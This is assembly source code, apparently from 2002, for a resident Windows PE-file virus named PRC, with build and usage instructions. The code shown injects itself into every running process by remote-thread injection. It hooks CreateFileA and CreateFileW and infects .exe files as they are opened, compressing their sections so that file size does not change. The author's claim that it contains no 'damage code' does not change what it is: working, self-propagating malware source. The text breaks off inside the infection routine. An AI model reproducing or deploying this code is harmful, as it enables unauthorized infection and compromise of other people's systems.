;*********************************************************************
;* *
;* The program information *
;* *
;* Program Name: PRC *
;* Current Version: 0.91(not under strict test) *
;* Completed on 11-25, 2002 *
;* *
;* This program is something like a virus. But it does not contain *
;* any damage code. So it won't do harm to your system. It just *
;* demonstrates a way of developing a resident virus *
;* under Windows. *
;* *
;* You can connect me [[email protected]] for technic discussions *
;* *
;*===================================================================*
;* *
;* How to complile this program? *
;* tasm32 /m /ml pv.asm, pv.obj *
;* tlink32 -c -M -x -Tpe -ap -S:0x10000 -Sc:0x6000 pv.obj, *
;* pv.exe, , kernel32.lib user32.lib *
;* The two libraries of kernel32.lib and user32.lib can be *
;* attained in the BC++5.5 compiler. *
;* *
;*===================================================================*
;* History *
;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*
;* *
;* Version: 0.9 *
;* Completed on 11-25, 2002 *
;* *
;* 1) It can inject itself into the space of all the active *
;* processes in the system if access is permitted. *
;* 2) It can hook the File Storage API functions of CreateFileA *
;* and CreateFileW. If the hook is successfully installed, *
;* all file operations that the process makes will be *
;* monitored by our code. *
;* 3) It has the ability to infect the PE files with the *
;* extension ".exe". After the PE file has been infected, *
;* neither its size will increase, nor it will be infected *
;* a more time. *
;* *
;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*
;* *
;* Version: 0.91 *
;* under modification *
;* *
;* 1) Use CreateFileMapping and MapViewOfFile instead of ReadFile, *
;* WriteFile and SetFilePointer to access the target file. The *
;* program size become much shorter. *
;* 2) Correct the bugs that the file is not closed if the file *
;* fails to be infected. *
;* *
;*********************************************************************
.386P
.model Flat, Stdcall
; If you want to play with the program, follow me.
; 1) Do change the value of 'DEBUG' unless you know exactly what the option will
; affect the behavior of the program.
; 2) Compile and run the program.
; 3) Prepare some EXE files and rename them to "*test.exe" style. Wait a few
; seconds, then search all EXE files containing the string "prcv0.9". If
; any file has been found, it means the program works! If no file are
; found, try more other files, because there are some EXE files the program
; can't infect.
; 4) I develop the program under Windows 2000. I don't know what will happen
; if it runs under Windows 98 or Windows XP.
;*********************************************************************
FALSE = 0
TRUE = 1
DEBUG = TRUE
NO_EXCEPTION_HANDLER = TRUE
TRACE_REMOTE_THREAD = 0
SKIP_CURRENT_PROCESS = 1
INFECT_ALL_PROCESSES = 1
NOT_INFECT_FILES = 0
ERROR_DIAGNOSE = 0
;*********************************************************************
TH32CS_SNAPMODULE = 00000008h
FILE_BEGIN = 0
FILE_CURRENT = 1
FILE_END = 2
OPEN_EXISTING = 00000003h
if NOT_INFECT_FILES
OPEN_ALWAYS = 00000004h
endif
FILE_ATTRIBUTE_NORMAL = 00000080h
FILE_SHARE_READ = 00000001h
FILE_SHARE_WRITE = 00000002h
GENERIC_READ = 80000000h
GENERIC_WRITE = 40000000h
FILE_MAP_WRITE = 00000002h
MB_PRECOMPOSED = 00000001h
MB_COMPOSITE = 00000002h
CP_ACP = 0
CP_OEMCP = 1
CP_MACCP = 2
CP_THREAD_ACP = 3
PAGE_READWRITE = 00000004h
FLAG_IN_DATA_SECTION = 00000001h
FLAG_USE_TWO_SECTIONS = 00000002h
MajorVersion = 0
MinorVersion = 9
MAX_PATH = 260
; sizeof(IMAGE_NT_HEADERS)
; Section Header offset 0xF8
; FieldName Offset
;---------------------------------------------------------------------
; AddressOfEntryPoint 0x28
; SizeOfHeaders 0x54
; SizeOfStackCommit 0x64
; DataDirectory 0x78
;*********************************************************************
;* *
;* Declare funtion prototype *
;* *
;*********************************************************************
GetLastError PROTO
MessageBoxA PROTO :DWORD, :DWORD, :DWORD, :DWORD
GetModuleHandleA PROTO :DWORD
GetProcAddress PROTO :DWORD, :DWORD
CreateFileA PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
CreateFileW PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
CloseHandle PROTO :DWORD
FindFirstFileA PROTO :DWORD, :DWORD
FindNextFileA PROTO :DWORD, :DWORD
printf PROTO :DWORD
;*********************************************************************
;* *
;* Entry code section *
;* *
;*********************************************************************
_TEXT segment use32 public 'CODE'
VirtualEntry:
call GetLastError
call GetCurrentEipToEbx
$A:
;mov esi, 00400000h
;mov eax, [esi+0000003Ch]
;lea edi, [esi+eax]
;mov edx, [edi+00000080h]
;mov eax, [edx+esi]
;add eax, esi
;mov ecx, [eax+00000010h]
mov edx, offset GetLastError
add edx, 2
mov ecx, [edx]
sub ecx, 00400000h
mov eax, offset RvaOfFirstThunkOfKernel32
sub eax, offset $A
mov [ebx+eax], ecx
mov eax, offset OriginalEntryPoint
sub eax, offset $A
mov ecx, offset lb_ExitCurrentProcess
sub ecx, 00400000h
;add ebx, eax
;push ebp
;mov ebp, esp
;push 00400000h
mov [ebx+eax], ecx
jmp EntryOfVirusCode
lb_ExitCurrentProcess:
ret
_TEXT ends
;*********************************************************************
;* *
;* Data section *
;* *
;*********************************************************************
_DATA segment use32 public 'DATA'
;---- Error Messages
szExceptionCaused db "Exception error captured!",0
szError db "Error",0
FileNameToFind db 'g:\testfile\'
FileNameFound = $
db '*.exe', 0
db 260 dup (?)
TestFileW dw 'G', ':', '\', 'P', 'R', 'O', '\', 'T', 'a', 's', 'm', '\'
dw 'T', 'e', 's', 't', '.', 'e', 'x', 'e', 0
TestFileA db 'G:\PRO\TASM\test.exe', 0
W32FindData db 140h dup(?)
_DATA ends
;*********************************************************************
;* *
;* Main code section *
;* *
;*********************************************************************
VirSegment segment use32 public 'PRC'
MAX_WND_SIZE = 1024
OFFSET_CODING_LENGTH = 10
M = 3
BaseOfVirusCode = $
;*********************************************************************
;* *
;* RestoreCompressedData() *
;* *
;* Remarks: *
;* Restore the compressed data *
;* *
;* Parameters: *
;* [Esi] *
;* Point to the buffer containing decompression information *
;* *
;* Return Value: *
;* None. *
;* *
;*********************************************************************
RestoreCompressedData:
cld
mov edi, [ebp][lpImageBaseBaseOfProcess]
lea edx, [ebx][SizeOfTransmission-@B]
push edx
lea ecx, [ebx+VIRUS_VIRTUAL_SIZE][BaseOfVirusCode-@B]
push ecx
lodsd
push eax
mov edx, edi ;<
lodsd ;<
add edx, eax ;< pDataBuffer
push edx ;<
;<
call LZ77Decompress
add edi, [esi]
mov esi, ecx
mov ecx, 'HOLD'
SizeOfTransmission = $-4
push ecx
push esi
push PAGE_READWRITE
mov esi, edi
call InvokeVirtualProtectEx
pop esi
pop ecx
push ecx
push edi
cld
rep movsb
pop esi
pop ecx
push dword ptr [ebx][dwOldProtect-@B]
call InvokeVirtualProtectEx
lb_ExitRestoreCompressedData:
ret
RvaOfEntryPoint = $
dd (offset EntryOfVirusCode - 00400000h)
RvaOfFirstThunkOfKernel32 = $
dd 0
DecompressionParametersA = $
dd 0 ;Total bits afetr compression.
dd 0 ;Rva of the data buffer where the compressed data are stored in.
dd 0 ;Rva of the data buffer where the compressed data are restored to.
DecompressionParametersB = $
dd 0
dd 0
dd 0
EntryOfVirusCode:
XX=-4
lpImageBaseBaseOfProcess = XX
if NO_EXCEPTION_HANDLER
XX=XX-4
else
XX=XX-12
endif
lpImageBaseOfKernel32 = XX
XX=XX-4
hSnapShot = XX
XX=XX-4
hProcessHandle = XX
XX=XX-4
lpBaseOfCodeInRemoteProcess = XX
pushad
sub esp, VIRUS_BOOTING_SIZE
mov edi, esp
call @A
@A = $
pop ebx
lea eax, [ebx][EntryOfVirusCode-@A]
mov ecx, [ebx][RvaOfEntryPoint-@A]
sub eax, ecx
lea esi, [ebx][BaseOfVirusCode-@A]
mov ecx, VIRUS_PHYSICAL_SIZE
cld
rep movsb
lea ebx, [esp][@B-BaseOfVirusCode]
jmp ebx
@B = $
push ebp
mov ebp, esp
push eax ; Initialize lpImageBaseBaseOfProcess
add [ebx][OriginalEntryPoint-@B], eax
; Set up our exception handler. So when any exception occurs,
; our exception handler will get control first, and we can quit
; the virus code safely.
;=====================================================================
ife NO_EXCEPTION_HANDLER
lea eax, [esp-8]
xor esi, esi
xchg eax, fs:[esi]
lea ecx, [ebx][ExceptionHandler-@B]
push ecx
push eax
endif
;=====================================================================
; Let's locate the image base of the module 'Kernel32.dll'.
lb_LoopOfLocateKernel32:
pop eax
push eax
mov ecx, [ebx][RvaOfFirstThunkOfKernel32-@B]
mov eax, [eax+ecx]
add [ebx][RvaOfFirstThunkOfKernel32-@B], dword ptr 4
lb_LoopOfCheck64KBoundaries:
and eax, 0FFFF0000h
cmp word ptr [eax], 'ZM'
jnz lb_TryNextBoundary
mov ecx, [eax+0000003Ch]
add ecx, eax
cmp dword ptr [ecx], 00004550h
jnz lb_TryNextBoundary
mov edx, [ecx+00000078h]
add edx, eax
mov esi, [edx+0000000Ch]
add esi, eax
lea edi, [ebx][NameOfKernel32-@B]
call strcmpi
jz lb_ImageBaseOfKernel32IsFound
jmp lb_LoopOfLocateKernel32
lb_TryNextBoundary:
sub eax, 00010000h
jmp lb_LoopOfCheck64KBoundaries
lb_ImageBaseOfKernel32IsFound:
push eax ; Intialize lpImageBaseOfKernel32
mov esi, edx
lea edi, [ebx][IfNameTable-@B]
; Let get the entry points of the Windows API functions which
; the virus code must use from the module 'kernel32.dll'.
lb_LoopOfGetEntryAddressOfApiFunctions:
mov ecx, [edi]
jecxz lb_AllAddressesGotten
push eax
push edi
lea edi, [ebx+ecx]
call GetProcedureAddress
test eax, eax
jz lb_ExitVirusProgram
pop edi
mov [edi][CallAddressTable-IfNameTable], eax
pop eax
add edi, 4
jmp lb_LoopOfGetEntryAddressOfApiFunctions
lb_AllAddressesGotten:
lea esi, [ebx][DecompressionParametersA-@B]
call RestoreCompressedData
jmp lb_NoSecondCompressedSection
JumpOffset = $-1
NextStatement = $
lea esi, [ebx][DecompressionParametersB-@B]
call RestoreCompressedData
lb_NoSecondCompressedSection:
;//}
@C = @B
; Now all the entry addresses of the Api functions have been relocated.
; That is very import.
;
; Let's go.
;{
push 0
push 2
call dword ptr [ebx][lpfnCreateToolhelp32Snapshot-@C]
test eax, eax
jz lb_AllProcessesEnumerated
push eax ; Initialize hSnapShot
lea eax, [ebx][ProcessEntry32-@C]
mov dword ptr [eax], 00000128h
push eax
push dword ptr [ebp][hSnapShot]
call dword ptr [ebx][lpfnProcess32First-@C]
test eax, eax
jz lb_AllProcessesEnumerated
lb_LoopOfEnumerateAllProcesses:
ife INFECT_ALL_PROCESSES
ife SKIP_CURRENT_PROCESS
lea esi, [ebx][pe_szExeFile-@C]
lea edi, [ebx][TargetProcessName-@C]
call strcmpi
jz lb_TryNextProcess
call [ebx][lpfnGetCurrentProcessId-@C]
cmp eax, [ebx][pe_th32ProcessID-@C]
jnz lb_TryNextProcess
else
lea esi, [ebx][pe_szExeFile-@C]
lea edi, [ebx][TargetProcessName-@C]
call strcmpi
jnz lb_TryNextProcess
endif
endif
lb_TargetProcessFound:
mov eax, [ebx][pe_th32ProcessID-@C]
push eax
push 0
push 001F0FFFh ; PROCESS_ALL_ACCESS
call [ebx][lpfnOpenProcess-@C]
test eax, eax
jz lb_TryNextProcess
push eax ; Initailize hProcessHandle
push 00000004h ; PAGE_READWRITE
push 00001000h ; MEM_COMMIT
push VIRUS_ALIGN_SIZE
push 0
push eax
call [ebx][lpfnVirtualAllocEx-@C]
;push eax ;<
;call GetLastError ;< Debug Code
;pop eax ;<
test eax, eax
jz lb_ExitVirusProgram
xchg eax, esi
push esi ; lpBaseOfCodeInRemoteProcess
lea edi, [ebx][ReturnValueFromRemoteProcess-@C]
xor edx, edx
mov [edi], edx ; Initialize return value
push edx
push VIRUS_ALIGN_SIZE
lea ecx, [ebx][BaseOfVirusCode-@C]
push ecx
push esi
push dword ptr [ebp][hProcessHandle]
call [ebx][lpfnWriteProcessMemory-@C]
test eax, eax
jz lb_ExitVirusProgram
ife SKIP_CURRENT_PROCESS
push ebx
endif
xor ecx, ecx
push ecx
push ecx
push ecx
lea edx, [esi][RemoteThread-BaseOfVirusCode]
push edx
push ecx
push ecx
push dword ptr [ebp][hProcessHandle]
call [ebx][lpfnCreateRemoteThread-@C]
;test eax, eax
;jz lb_ExitVirusProgram
ife SKIP_CURRENT_PROCESS
pop ebx
endif
push dword ptr [ebp][hProcessHandle]
call [ebx][lpfnCloseHandle-@C]
lb_TryNextProcess:
lea eax, [ebx][ProcessEntry32-@C]
push eax
push dword ptr [ebp][hSnapShot]
call dword ptr [ebx][lpfnProcess32Next-@C]
test eax, eax
jz lb_ExitVirusProgram
jmp lb_LoopOfEnumerateAllProcesses
lb_AllProcessesEnumerated:
push dword ptr [ebp][hSnapShot]
call [ebx][lpfnCloseHandle-@C]
lb_ExitVirusProgram:
;jmp lb_DirectlyExitVirusProgram
lb_DirectlyExitVirusProgram:
ife NO_EXCEPTION_HANDLER
pop dword ptr fs:[0]
pop ecx
endif
mov esp, ebp
pop ebp
add esp, VIRUS_BOOTING_SIZE
popad
push offset lb_ExitCurrentProcess
OriginalEntryPoint = $-4
ret
;*********************************************************************
;* *
;* Get the current EIP into EAX. You can use this way to locate *
;* the virus code. *
;* *
;*********************************************************************
GetCurrentEipToEax:
pop eax
jmp eax
;*********************************************************************
;* *
;* Get the current EIP into EBX. You can use this way to locate *
;* the virus code. *
;* *
;*********************************************************************
GetCurrentEipToEbx:
pop ebx
jmp ebx
;*********************************************************************
;* *
;* strcmpi() *
;* *
;* Remarks: *
;* This routine compare two strings, case-insensitive. *
;* *
;* Parameters: *
;* [ESI] *
;* Point to string1. *
;* [EDI] *
;* Point to string2 *
;* *
;* Return Value: *
;* If these two strings are identical, *
;* ZF flag will be set. *
;* If these two strings are not identical, *
;* ZF flag will be cleared. *
;* *
;*********************************************************************
strcmpi:
push esi
push edi
push eax
push ecx
xor eax, eax
xor ecx, ecx
lb_LoopOfCompareStrings:
mov al, [esi]
mov cl, [edi]
inc esi
inc edi
cmp eax, 'A'
jb lb_NotAsciiCharacter
cmp eax, 'z'
ja lb_NotAsciiCharacter
cmp eax, 'Z'
jbe lb_IsAsciiCharacter
cmp eax, 'a'
jae lb_IsAsciiCharacter
jmp lb_NotAsciiCharacter
lb_IsAsciiCharacter:
; if the character is a ascii character, just convert it to lower-case.
or eax, 20h
or ecx, 20h
lb_NotAsciiCharacter:
cmp eax, ecx
jnz lb_StringsNotEqual
jecxz lb_StringsIsEqual
jmp lb_LoopOfCompareStrings
lb_StringsIsEqual:
lb_StringsNotEqual:
pop ecx
pop eax
pop edi
pop esi
ret
;*********************************************************************
;* *
;* IsAllZero() *
;* [Param1] *
;* [Param2] *
;* *
;* Remarks: *
;* This routine check if the contents of a specified buffer *
;* are all zero. *
;* *
;* Parameters: *
;* [Param1] *
;* Point to the buffer. *
;* [Param2] *
;* The size of the buffer. *
;* *
;* Return Value: *
;* If the buffer is all filled with Zero, *
;* Z-flag will be set. *
;* If the buffer is not all filled with Zero, *
;* Z-flag will be cleared. *
;* *
;*********************************************************************
IsAllZero:
push esi
push ecx
push eax
xor eax, eax
mov esi, [esp+00000010h]
mov ecx, [esp+00000014h]
cld
lp_GetNextByteToCompare:
lodsb
test eax, eax
jnz lb_ExitIsAllZero
loop lp_GetNextByteToCompare
lb_ExitIsAllZero:
pop eax
pop ecx
pop esi
ret 8
;*********************************************************************
;* *
;* RvaAddressToFileMappingAddress() *
;* *
;* Remarks: *
;* This routine converts the RVA address to the file *
;* offset address. *
;* *
;* Parameters: *
;* [Eax] *
;* The RVA address *
;* *
;* Return Value: *
;* If the RVA address can be converted, the file offset *
;* address will be returned in EAX. Otherwise, NULL will be *
;* returned in EAX. *
;* *
;*********************************************************************
RvaAddressToFileMappingAddress:
push esi
mov esi, [ebp][lpNtHeaders] ; Get Nt Heads
movzx ecx, word ptr [esi+00000006h]
lea esi, [esi+0000000F8H]
lp_CheckAllSections:
mov edx, [esi+0000000Ch]
cmp eax, edx
jb lb_CheckNextSection
add edx, [esi+00000010h]
cmp eax, edx
jae lb_CheckNextSection
sub eax, [esi+0000000Ch]
add eax, [esi+00000014h]
add eax, [ebp][lpFileMapping]
jmp lb_QuitRvaToFilePointer
lb_CheckNextSection:
add esi, 00000028h ;40
loop lp_CheckAllSections
xor eax, eax
lb_QuitRvaToFilePointer:
pop esi
ret
;*********************************************************************
;* *
;* InstallApiHook() *
;* [Param1] *
;* [Param2] *
;* *
;* Remarks: *
;* The routine tries to install a hook on the specified *
;* Windows API function. *
;* *
;* Parameters: *
;* [Eax] *
;* The image base of the module on which the hook function *
;* will be installed. *
;* [Edx] *
;* The RVA of the import descriptor array. *
;* [Esi] *
;* Point to the string which contains the name of the API *
;* function on which the hook will be installed. *
;* [Param1] *
;* The entry address of the hook of the API function. *
;* [Param2] *
;* Point to the variable which saves the original entry *
;* address of the API function. *
;* *
;* Return Value: *
;* If the hook has been successfully installed on the API *
;* function, CF flag will be set. Otherwise, CF flag will *
;* be cleared. *
;* *
;*********************************************************************
InstallApiHook:
PARAMETERS_BASE = 4 + 3*4
push eax
push edx
push esi
push edi
lb_LoopOfCheckImportDescriptors:
push (SIZE_OF_IMPORT_DESCRIPTOR)
push edx
call IsAllZero
jz lb_ApiHookInstallationFail
mov ecx, [edx]
jecxz lb_TryNextImportDescriptor
add ecx, eax
lb_LoopOfCheckDataThunks:
mov edi, [ecx]
test edi, edi
jz lb_TryNextImportDescriptor
test edi, 80000000h
jnz lb_TryNextDataThunk
add edi, eax
inc edi
inc edi
call strcmpi
jz lb_ApiFunctionIsFound
lb_TryNextDataThunk:
add ecx, 4
jmp lb_LoopOfCheckDataThunks
lb_TryNextImportDescriptor:
add edx, SIZE_OF_IMPORT_DESCRIPTOR
jmp lb_LoopOfCheckImportDescriptors
lb_ApiFunctionIsFound:
mov edi, [edx+00000010h]
sub edi, [edx]
add ecx, edi
push PAGE_READWRITE
mov esi, ecx
xor ecx, ecx
call InvokeVirtualProtectEx
test eax, eax
jz lb_ApiHookInstallationFail
mov eax, [esi] ;<
mov ecx, [esp+00000014h] ;<
mov edx, [ecx] ;<
cmp [eax], edx ;<
jz lb_ApiHookAlreadyInstalled ;<
mov edx, [esp+00000018h] ;< Save the original entry address of
mov [edx], eax ;< the API function
mov [esi], ecx ;Modify the entry address of the API function
push dword ptr [ebx][dwOldProtect-@X]
xor ecx, ecx
call InvokeVirtualProtectEx
test eax, eax
jz lb_ApiHookInstallationFail
stc
jmp lb_ExitInstallApiHook
lb_ApiHookInstallationFail:
lb_ApiHookAlreadyInstalled:
clc
lb_ExitInstallApiHook:
pop edi
pop esi
pop edx
pop eax
ret 8
;*********************************************************************
;* *
;* Remarks: *
;* The rountine run in the context of a remote process. It will *
;* try to install a hook on the API functions of CreateFileA *
;* and CreateFileW *
;* *
;* Parameters: *
;* [Param1]: *
;* The thread which call CreateRemoteThread to create this *
;* thread pass the parameter. The parameter is not used here. *
;* *
;* Return Value: *
;* If the hooks have been successfully installed, the return *
;* value is 1, otherwise -1 will be returned. *
;* *
;*********************************************************************
XX=-4
hSnapShotOfModuleEnumeration = XX
XX=XX-4
lpModuleEntry32 = XX
XX=XX-4
dwReturnValue = XX
XX=XX-4
RemoteThread:
; The follow statements looks like a dead loop. Yes, it is so.
; But they are helpful in tracing the thread in the remote process.
; When the thread is created in the remote process, it will
; immediately runes into the dead-loop. It won't go out unitil
; somebody help it. First you can activate the process in the
; context of whom the thread has been created. Now you can
; activate SoftIce by pressing CTRL+D. You have a very big chance
; to get the breakpoint which is exactly located in the dead-loop.
; Now you can modify ECX register to any non-zero value. The
; dead loop no longer exists. And you can trace thread in the
; context of the remote process.
if TRACE_REMOTE_THREAD
xor ecx, ecx
jecxz $
endif
push ebp
mov ebp, esp
call GetCurrentEipToEbx
@Xd:
add ebx, @X - @Xd
push 0
push TH32CS_SNAPMODULE
call [ebx][lpfnCreateToolhelp32Snapshot-@X]
test eax, eax
jz lb_ExitRemoteThread
push eax ;Initialzie hSnapShotOfModuleEnumeration
lea edi, [ebx][ModuleEntry32-@X]
mov dword ptr [edi], 00000224h
push edi ;Initialize lpModuleEntry32
push -1 ;Initialize dwReturnValue
push edi
push eax
call [ebx][lpfnModule32First-@X]
test eax, eax
jz lb_ExitRemoteThread
lb_LoopOfEnumerateModulesOfCurrentProcess:
mov eax, [edi][me_modBaseAddr-ModuleEntry32]
mov ecx, [eax+0000003Ch]
lea edx, [eax+ecx]
mov ecx, [edx+00000080h]
jecxz lb_TryNextModule
lea edx, [eax+ecx]
;push 247C8B60h
lea esi, [ebx][n_CreateFileW-@X]
lea ecx, [ebx][OriginalEntryOfCreateFileW-@X]
push ecx
lea ecx, [ebx][HookOfCreateFileW-@X]
push ecx
call InstallApiHook
jnc lb_TryToInstallHookOnCreateFileA
push 1
pop dword ptr [ebp][dwReturnValue]
lb_TryToInstallHookOnCreateFileA:
;push 24748B60h
lea esi, [ebx][n_CreateFileA-@X]
lea ecx, [ebx][OriginalEntryOfCreateFileA-@X]
push ecx
lea ecx, [ebx][HookOfCreateFileA-@X]
push ecx
call InstallApiHook
jnc lb_TryNextModule
push 1
pop dword ptr [ebp][dwReturnValue]
lb_TryNextModule:
push edi
push dword ptr [ebp][hSnapShotOfModuleEnumeration]
call [ebx][lpfnModule32Next-@X]
test eax, eax
jz lb_ExitRemoteThread
jmp lb_LoopOfEnumerateModulesOfCurrentProcess
lb_ExitRemoteThread:
push dword ptr [ebp][hSnapShotOfModuleEnumeration]
call [ebx][lpfnCloseHandle-@X]
pop eax
mov esp, ebp
pop ebp
cmp eax, 1
jz lb_ApiHookSuccessfullyinstalled
pop ecx
pop edx
push 00004000h
push VIRUS_ALIGN_SIZE
lea edx, [ebx][BaseOfVirusCode-@X]
push edx
push -1
push ecx
jmp [ebx][lpfnVirtualFreeEx-@X]
lb_ApiHookSuccessfullyinstalled:
mov byte ptr [ebx][IsBusy-@X], 0 ; Initialize the Busy Flag
ret 04
;*********************************************************************
;* *
;* InvokeVirtualProtectEx() *
;* [Param1] *
;* *
;* Remarks: *
;* Invoke the Windows API function of VirtualProtectEx to *
;* change R/W access of the specified memory block. *
;* *
;* Parameters: *
;* [Esi]: *
;* Pointer to the start address of the buffer whose R/W access *
;* will be changed. *
;* [Ecx]: *
;* The size of the buffer. *
;* [Param1]: *
;* New R/W access for the buffer. *
;* *
;* Return Value: *
;* The value returned returned from VirtualProtectEx. *
;* *
;*********************************************************************
InvokeVirtualProtectEx:
call GetCurrentEipToEax
@8 = $
pop dword ptr [eax][ReturnFromInvokeVirtualProtectEx-@8]
add eax, dwOldProtect - @8
pop edx
push eax
push edx
test ecx, ecx
jnz lb_UseSpecifiedSize
mov ecx, 00001000h
lb_UseSpecifiedSize:
push ecx
mov edx, esi
and edx, 0FFFFF000h
push edx
push -1
call dword ptr [eax][lpfnVirtualProtectEx-dwOldProtect]
push 'HOLD'
ReturnFromInvokeVirtualProtectEx = $-4
ret
;*********************************************************************
;*
;* Hook functions on the API functions of CreateFileA and
;* CreateFileW. When someting want to call the API function of
;* CreateFileA or CreateFileW anyway, our hook functions will get
;* called first. You can do anything you want in the hook
;* functions. And then you will call the real CreateFileA or
;* CreateFileW function which is exported by kernel32.dll to
;* complete the file creation request.
;*
;*********************************************************************
;HANDLE CreateFile(
; LPCTSTR lpFileName, // file name
; DWORD dwDesiredAccess, // access mode
; DWORD dwShareMode, // share mode
; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // SD
; DWORD dwCreationDisposition, // how to create
; DWORD dwFlagsAndAttributes, // file attributes
; HANDLE hTemplateFile // handle to template file
; )
; The stack is like the following figure when FindFirstFile is called
; ______________________________
; | Return Address | <<== ESP (Low Address)
; |______________________________|
; | lpFileName |
; |______________________________|
; | dwDesiredAccess |
; |______________________________|
; | dwShareMode |
; |______________________________|
; | lpSecurityAttributes |
; |______________________________|
; | dwCreationDisposition |
; |______________________________|
; | dwFlagsAndAttributes |
; |______________________________|
; | hTemplateFile |
; |______________________________|
;
;
; After PUSHAD statement is executed, the stack looks like this:
; ______________________________
; | EDI | 000h: | <<== ESP
; |______________________________| |
; | ESI | 004h: |
; |______________________________| |
; | EBP | 008H |
; |______________________________| |
; | ESP | 00CH | pushad
; |______________________________| |
; | EDX | 010h |
; |______________________________| |
; | ECX | 014H |
; |______________________________| |
; | EBX | 018H |
; |______________________________| |
; | EAX | 01CH |
; |______________________________| |__
; | Return Address | 020H
; |______________________________|
; | lpFileName | 024h
; |______________________________|
; | dwDesiredAccess | 028h
; |______________________________|
; | dwShareMode | 02CH
; |______________________________|
; | lpSecurityAttributes | 030H
; |______________________________|
; | dwCreationDisposition | 034H
; |______________________________|
; | dwFlagsAndAttributes | 038H
; |______________________________|
; | hTemplateFile | 03CH
; |______________________________|
HookOfCreateFileW:
pushad
mov edi, [esp+00000024h]
call InfectPeFile
popad
push 'Hold'
OriginalEntryOfCreateFileW = $-4
ret
HookOfCreateFileA:
pushad
mov esi, [esp+00000024h]
call GetCurrentEipToEax
@0:
lea edi, [eax+00001000h][BaseOfVirusCode-@0]
;lea edi, [eax+00000E00h][BaseOfVirusCode-@0]
push 0000200h
push edi
push -1
push esi
;push MB_PRECOMPOSED
push MB_COMPOSITE
push CP_THREAD_ACP
call [eax][lpfnMultiByteToWideChar-@0]
test eax, eax
jz lb_ExitHookOfCreateFileA
call InfectPeFile
lb_ExitHookOfCreateFileA:
popad
push 'Hold'
OriginalEntryOfCreateFileA = $-4
ret
;*********************************************************************
;* *
;* InfectPeFile() *
;* *
;* Remarks: *
;* Infect the specified PE file with our virus code. *
;* *
;* Parameters: *
;* [Edi] *
;* Point to a null-terminated wide-character string containing *
;* the PE file name. *
;* *
;* Return Value: *
;* None. *
;* *
;*********************************************************************
X=-4
XX=-4
tmpVar = XX
dwNumberOfBytesRead = (tmpVar)
dwNumberOfBytesWritten = (tmpVar)
XX=XX-4
i = XX
ulAddressOfVCode = XX
XX=XX-4
pSectionOfOriginalDataAndCode = XX
DWORDSofCompressionInfo = 6
XX=(XX)-(4*DWORDSofCompressionInfo)
CompressionInfoAA = XX
XX=(XX)-(4*DWORDSofCompressionInfo)
CompressionInfoBB = XX
off_pSection = 0000h
off_OriginalVirtualAddress = 0004h
off_pCompressedDataBuffer = 0008h
off_ulNumTotalBits = 000Ch
off_ulNumUsedBytes = 0010h
off_ulNumFreeBytes = 0014h
XX=XX-4
SIZE_OF_LOCAL_VARS=X-XX
lpszFileNameToOpen = XX
XX=XX-4
hFileHandle = XX
XX=XX-4
hFileMappingHandle = XX
XX=XX-4
lpFileMapping = XX
XX=XX-4
dwTotalFileSize = XX
XX=XX-4
lpNtHeaders = XX
XX=XX-4
ulInformation = XX
XX=XX-4
InfectPeFile:
push ebp
mov ebp, esp
call GetCurrentEipToEbx
RelocE = $
add ebx, @X - RelocE
lea eax, [ebx][IsBusy-@X]
cmp byte ptr [eax], 0
jnz lb_IsBusyNow
inc byte ptr [eax]
sub esp, SIZE_OF_LOCAL_VARS
push edi ; initialize lpszFileNameToOpen
if NOT_INFECT_FILES
xor ecx, ecx
push ecx
push FILE_ATTRIBUTE_NORMAL
push (OPEN_ALWAYS)
push ecx
push (FILE_SHARE_READ OR FILE_SHARE_WRITE)
push (GENERIC_READ OR GENERIC_WRITE)
lea eax, [ebx][LogFileName-@X]
push eax
call [ebx][lpfnCreateFileA-@X]
cmp eax, -1
jz lb_ExitInfectPeFile
mov esi, eax
xor ecx, ecx
push FILE_END
push ecx
push ecx
push esi
call [ebx][lpfnSetFilePointer-@X]
push 0000200h
lea edi, [ebx+00002000h][BaseOfVirusCode-@X]
push edi
push -1
lea eax, [ebx][pe_szExeFile-@X]
push eax
push MB_COMPOSITE
push CP_ACP
call [ebx][lpfnMultiByteToWideChar-@X]
test eax, eax
jz lb_LogFail
push 0
lea ecx, [ebp][dwNumberOfBytesWritten]
push ecx
add eax, eax
dec eax
dec eax
push eax
push edi
push esi
call [ebx][lpfnWriteFile-@X]
test eax, eax
jz lb_LogFail
push dword ptr ':'
mov eax, esp
push 0
lea ecx, [ebp][dwNumberOfBytesWritten]
push ecx
push 2
push eax
push esi
call [ebx][lpfnWriteFile-@X]
test eax, eax
jz lb_LogFail
pop eax
pop edi
push edi
xor eax, eax
lp_FindNullWChar:
movzx ecx, word ptr [edi]
jecxz lb_WStringEnd
inc eax
inc eax
inc edi
inc edi
jmp lp_FindNullWChar
lb_WStringEnd:
pop edi
push 0
lea ecx, [ebp][dwNumberOfBytesWritten]
push ecx
push eax
push edi
push esi
call [ebx][lpfnWriteFile-@X]
test eax, eax
jz lb_LogFail
push dword ptr 000A000Dh
mov eax, esp
push 0
lea ecx, [ebp][dwNumberOfBytesWritten]
push ecx
push 4
push eax
push esi
call [ebx][lpfnWriteFile-@X]
test eax, eax
jz lb_LogFail
lb_LogFail:
push esi
call [ebx][lpfnCloseHandle-@X]
jmp lb_ExitInfectPeFile
endif
xor eax, eax
mov esi, edi
lp_FindTheEndOfWideString:
movzx ecx, word ptr [esi]
jecxz lb_WideStringTerminate
inc esi
inc esi
jmp lp_FindTheEndOfWideString
lb_WideStringTerminate:
xor eax, eax
push 4
pop ecx
lp_Convert4WideCharsToAnsiChars:
shl eax, 8
dec esi
dec esi
mov al, [esi]
loop lp_Convert4WideCharsToAnsiChars
or eax, 20202000h
cmp eax, 'exe.'
jnz lb_ExitInfectPeFile
if DEBUG
mov edx, [esi-4]
or edx, 00200020h
cmp edx, 00740073H
jnz lb_ExitInfectPeFile
mov edx, [esi-8]
or edx, 00200020h
cmp edx, 00650074H
jnz lb_ExitInfectPeFile
endif
push edi
call [ebx][lpfnGetFileAttributesW-@X]
cmp eax, -1
jz lb_ExitInfectPeFile
xchg eax, esi
push FILE_ATTRIBUTE_NORMAL ;<
push edi ;< Try to change file attributes
call [ebx][lpfnSetFileAttributesW-@X] ;<
test eax, eax
